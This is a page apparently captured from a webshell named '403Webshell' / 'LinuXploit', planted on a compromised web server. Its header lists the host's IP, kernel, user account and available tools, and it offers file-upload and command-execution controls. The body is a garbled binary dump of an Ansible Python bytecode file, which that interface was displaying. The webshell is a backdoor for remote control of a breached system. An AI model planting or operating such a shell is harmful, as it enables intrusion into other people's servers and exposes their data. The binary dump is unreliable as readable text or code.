403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/executor/process/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/executor/process/__pycache__/worker.cpython-311.opt-1.pyc
�

���c�"���ddlmZmZmZeZddlZddlZddlZddl	m
Z
ddlmZddl
mZddlmZddlmZddlmZd	gZe��ZGd
�d	ej��ZdS)�)�absolute_import�division�print_functionN)�TemplateNotFound)�AnsibleConnectionFailure)�TaskExecutor)�to_text)�Display)�context�
WorkerProcessc�J��eZdZdZ�fd�Zd�Z�fd�Zd�Zd�Zd�Z	d�Z
�xZS)	rz�
    The worker thread class, which uses TaskExecutor to run tasks
    read from a job queue and pushes results into a results queue
    for reading later.
    c	���tt|�����||_||_||_||_||_||_||_	||_
t��|j_dS�N)
�superr�__init__�_final_q�
_task_vars�_host�_task�
_play_context�_loader�_variable_manager�_shared_loader_obj�set�
_tempfiles)
�self�final_q�	task_vars�host�task�play_context�loader�variable_manager�shared_loader_obj�	__class__s
         ��D/usr/lib/python3.11/site-packages/ansible/executor/process/worker.pyrzWorkerProcess.__init__.sp���
�m�T�"�"�+�+�-�-�-���
�#�����
���
�)������!1���"3���#&�%�%������c��d|_	tj���rwtj����Y	tjtjtj�������|_n#t$rYnwxYwn#ttf$rYnwxYw|j� tt
j��|_dSdSr)
�
_new_stdin�sys�stdin�isatty�fileno�os�fdopen�dup�OSError�AttributeError�
ValueError�open�devnull�rs r&�_save_stdinzWorkerProcess._save_stdin?s������
	��y���!�!�
�c�i�&6�&6�&8�&8�&D��&(�i���s�y�7G�7G�7I�7I�0J�0J�&K�&K�D�O�O�������D��������
�+�	�	�	��D�	�����?�"�"�2�:�.�.�D�O�O�O�#�"s6�<B�AB�
B�
B�B�B�B�B3�2B3c�6��|���tj5	tt|�����|j���cddd��S#|j���wxYw#1swxYwYdS)al
        multiprocessing.Process replaces the worker's stdin with a new file
        but we wish to preserve it if it is connected to a terminal.
        Therefore dup a copy prior to calling the real start(),
        ensuring the descriptor is preserved somewhere in the new child, and
        make sure it is closed in the parent when start() completes.
        N)r7�display�_lockrr�startr)�close)rr%s �r&r;zWorkerProcess.startPs����	
������
�]�	(�	(�
(��]�D�1�1�7�7�9�9���%�%�'�'�'�		(�	(�	(�	(�	(�	(�	(�	(����%�%�'�'�'�'����		(�	(�	(�	(����	(�	(�	(�	(�	(�	(s(�B�&A0�
B�0B�B�B�Bc��	t�dt|��z��n#t$rYnwxYwt	jd��dS)a
        There is no safe exception to return to higher level code that does not
        risk an innocent try/except finding itself executing in the wrong
        process. All code executing above WorkerProcess.run() on the stack
        conceptually belongs to another program.
        zWORKER HARD EXIT: %s�N)r9�debugr	�
BaseExceptionr.�_exit�r�es  r&�
_hard_exitzWorkerProcess._hard_exitas]��	��M�M�1�G�A�J�J�>�?�?�?�?���	�	�	�
�D�		����	�������s�*-�
:�:c��	|���ttjd��xt_t_S#t$r}|�|��Yd}~nd}~wwxYw	ttjd��xt_t_dS#ttjd��xt_t_wxYw)a�
        Wrap _run() to ensure no possibility an errant exception can cause
        control to return to the StrategyBase task loop, or any other code
        higher in the stack.

        As multiprocessing in Python 2.x provides no protection, it is possible
        a try/except added in far-away code can cause a crashed child process
        to suddenly assume the role and prior state of its parent.
        �wN)	�_runr4r.r5r*�stdout�stderrr@rDrBs  r&�runzWorkerProcess.runss���	<��9�9�;�;� '+�2�:�s�&;�&;�;�C�J������	�	�	��O�O�A�������������	�����'+�2�:�s�&;�&;�;�C�J������d�2�:�s�&;�&;�;�C�J���;�;�;�;s)�A�
A/�A*�%B%�*A/�/B%�%2Cc��t�|j��	t�d|j�d|j����t
|j|j|j|j|j	|j
|j|j�����}t�d|j�d|j�d|jj
�d���t��|j_g|j_t�d|jj
z��|j�|jj|jj
||j������t�d|jj
z���n#t($rt��|j_g|j_|j�|jj|jj
td	�
��|j������Y�n�t*$�r�}t-|t.t0t2t4f��rt-|t6���r@	t��|j_g|j_|j�|jj|jj
td	t9t;j����d���|j������nu#t*$rht�d
t9|��z��t�dt9t;j����z��YnwxYw|���n#|���wxYwYd}~nd}~wwxYwt�d��dS)z�
        Called when the process is started.  Pushes the result onto the
        results queue. We also remove the host from the blocked hosts list, to
        signify that they are ready for their next task.
        zrunning TaskExecutor() for �/z done running TaskExecutor() for z [�]zsending task result for task %s)�task_fieldsz$done sending task result for task %sT)�unreachable�)�failed�	exceptionrHzWORKER EXCEPTION: %szWORKER TRACEBACK: %sNzWORKER PROCESS EXITING) r9�	set_queuerr?rrrrrr)rrrJ�_uuid�dict�vars�groups�send_task_result�name�
dump_attrsr�	Exception�
isinstance�IOError�EOFError�KeyboardInterrupt�
SystemExitrr	�	traceback�
format_exc�	_clean_up)r�executor_resultrCs   r&rGzWorkerProcess._run�sk��	���$�-�(�(�(�5	%��M�M�M��
�
�
�D�J�J�W�X�X�X�*��
��
����"������'��
�	�	��c�e�e�
�
�M�M�M�$�*�*�*�VZ�V`�V`�V`�bf�bl�br�br�br�s�t�t�t�"�f�f�D�J�O� "�D�J��
�M�M�;�d�j�>N�N�O�O�O��M�*�*��
���
� �� �J�1�1�3�3�	
+�
�
�
�
�M�M�@�4�:�CS�S�T�T�T�T��'�	�	�	�"�f�f�D�J�O� "�D�J���M�*�*��
���
� ���&�&�&� �J�1�1�3�3�	
+�
�
�
�
�
��	%�	%�	%��a�'�8�5F�
�!S�T�T�
%�Xb�cd�fv�Xw�Xw�
%�
%�&*�f�f�D�J�O�(*�D�J�%��M�2�2��
���
�(��D�G�I�<P�<R�<R�4S�4S�\^�_�_�_�$(�J�$9�$9�$;�$;�	3������!�]�]�]��M�M�"9�G�A�J�J�"F�G�G�G��M�M�"9�G�I�DX�DZ�DZ�<[�<[�"[�\�\�\�\�\�]�����N�N�$�$�$�$��D�N�N�$�$�$�$�������������	%����"	�
�
�.�/�/�/�/�/sW�E-F�BN*�
N*�">N%�!BK=�<N�=A/M/�,N�.M/�/N�2N%�N�N%�%N*c�8�|j���dSr)r�cleanup_all_tmp_filesr6s r&rczWorkerProcess._clean_up�s��	
��*�*�,�,�,�,�,r')�__name__�
__module__�__qualname__�__doc__rr7r;rDrJrGrc�
__classcell__)r%s@r&rr's����������(�(�(�(�(�"/�/�/�"(�(�(�(�(�"���$<�<�<�:E0�E0�E0�^-�-�-�-�-�-�-r')�
__future__rrr�type�
__metaclass__r.r*ra�jinja2.exceptionsr�ansible.errorsr�ansible.executor.task_executorr�ansible.module_utils._textr	�ansible.utils.displayr
�ansible.utils.multiprocessingr�multiprocessing_context�__all__r9�Processr�r'r&�<module>rys
��&C�B�B�B�B�B�B�B�B�B��
�	�	�	�	�
�
�
�
�����.�.�.�.�.�.�3�3�3�3�3�3�7�7�7�7�7�7�.�.�.�.�.�.�)�)�)�)�)�)�L�L�L�L�L�L��
��
�'�)�)��{-�{-�{-�{-�{-�+�3�{-�{-�{-�{-�{-r'

Youez - 2016 - github.com/yon3zu
LinuXploit